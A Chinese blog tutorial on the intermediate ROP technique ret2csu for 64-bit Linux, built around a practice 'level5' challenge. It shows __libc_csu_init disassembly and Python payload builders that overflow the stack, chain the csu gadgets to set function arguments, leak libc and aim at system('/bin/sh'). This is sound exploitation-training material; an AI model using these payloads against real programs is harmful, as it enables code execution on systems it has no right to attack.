中级ROP

Ret2CSU

在64位程序中,当函数参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9,在大多时候下,当参数过多的时候,我们很难找到部署寄存器值的 gadget,此时可以利用 x64 下的 __libc_csu_init 中的 gadgets

这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在

对于该函数存在有两个版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# Version 1
.text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30 = qword ptr -30h
.text:00000000004005A0 var_28 = qword ptr -28h
.text:00000000004005A0 var_20 = qword ptr -20h
.text:00000000004005A0 var_18 = qword ptr -18h
.text:00000000004005A0 var_10 = qword ptr -10h
.text:00000000004005A0 var_8 = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0 mov [rsp+var_28], rbp
.text:00000000004005A5 mov [rsp+var_20], r12
.text:00000000004005AA lea rbp, cs:600E24h
.text:00000000004005B1 lea r12, cs:600E24h
.text:00000000004005B8 mov [rsp+var_18], r13
.text:00000000004005BD mov [rsp+var_10], r14
.text:00000000004005C2 mov [rsp+var_8], r15
.text:00000000004005C7 mov [rsp+var_30], rbx
.text:00000000004005CC sub rsp, 38h
.text:00000000004005D0 sub rbp, r12
.text:00000000004005D3 mov r13d, edi
.text:00000000004005D6 mov r14, rsi
.text:00000000004005D9 sar rbp, 3
.text:00000000004005DD mov r15, rdx
.text:00000000004005E0 call _init_proc
.text:00000000004005E5 test rbp, rbp
.text:00000000004005E8 jz short loc_400606
.text:00000000004005EA xor ebx, ebx
.text:00000000004005EC nop dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d
.text:00000000004005F9 call qword ptr [r12+rbx*8]
.text:00000000004005FD add rbx, 1
.text:0000000000400601 cmp rbx, rbp
.text:0000000000400604 jnz short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Version 2
.text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r14
.text:0000000000401293 mov rsi, r13
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn

后续的分析中以 Version 1 为例,题目来源:https://github.com/zhengmin1989/ROP_STEP_BY_STEP/blob/master/linux_x64/level5

大致可以看到的是通过栈来给对应的 rbxrbpr12r13r14r15 进行赋值

1
2
3
4
5
6
7
8
9
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606 mov rbx, [rsp+38h+var_30]
.text:000000000040060B mov rbp, [rsp+38h+var_28]
.text:0000000000400610 mov r12, [rsp+38h+var_20]
.text:0000000000400615 mov r13, [rsp+38h+var_18]
.text:000000000040061A mov r14, [rsp+38h+var_10]
.text:000000000040061F mov r15, [rsp+38h+var_8]
.text:0000000000400624 add rsp, 38h
.text:0000000000400628 retn

同时在 0x4005F0 可以看到通过 r15r14r13d 分别给 rdxrsiedi 进行赋值

1
2
3
4
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0 mov rdx, r15
.text:00000000004005F3 mov rsi, r14
.text:00000000004005F6 mov edi, r13d

相应的当我们溢出后将跳转地址设置为 0x400606 便可以控制rbxrbpr12r13r14r15 的值,而对于 x64 下的调用约定,其函数传参所需要的为 rdi, rsi, rdx, rcx, r8, r9,那么控制 r15r14r13 的值我们可以控制 rdxrsiedi 从而控制函数的前三个参数值

在此题中我们需要完成 system('/bin/sh') 的利用,对此需要像 ret2libc 一样,先进行泄露一次对应的 libc 版本,之后将对应的 system/bin/sh 偏移获取到后构建 Payload

大致流程如下图所示:

上述关键 padding 仅仅是在使用 mov 进行传递参数的时候需要使用 padding

对应的泄露Libc Payload 如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
# mov 型 csu payload
gadget1_addr = 0x400606
gadget2_addr = 0x4005F0
def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):
payload = b'a' * 0x88 # to overflow
payload += p64(gadget1_addr) + p64(0) # padding
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) # to set reg value
payload += p64(gadget2_addr) # gadget1 ret
payload += b'b' * 0x38 # to padding stack
payload += p64(ret_addr) # gadget2 -> gadget1 -> ret
s(payload)
sleep(1)

相应的对于第二种版本来说对应的 Payload 为:

1
2
3
4
5
6
7
8
9
10
11
12
# pop 型 csu payload
gadget1_addr = xxx
gadget2_addr = xxx
def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):
payload = b'a' * 0x88 # to overflow
payload += p64(gadget1_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) # to set reg value
payload += p64(gadget2_addr) # gadget1 ret
payload += b'b' * 0x38 # to padding stack
payload += p64(ret_addr) # gadget2 -> gadget1 -> ret
s(payload)
sleep(1)

中级ROP
https://equinox-shame.github.io/2025/10/28/中级ROP/
作者
梓曰
发布于
2025年10月28日
许可协议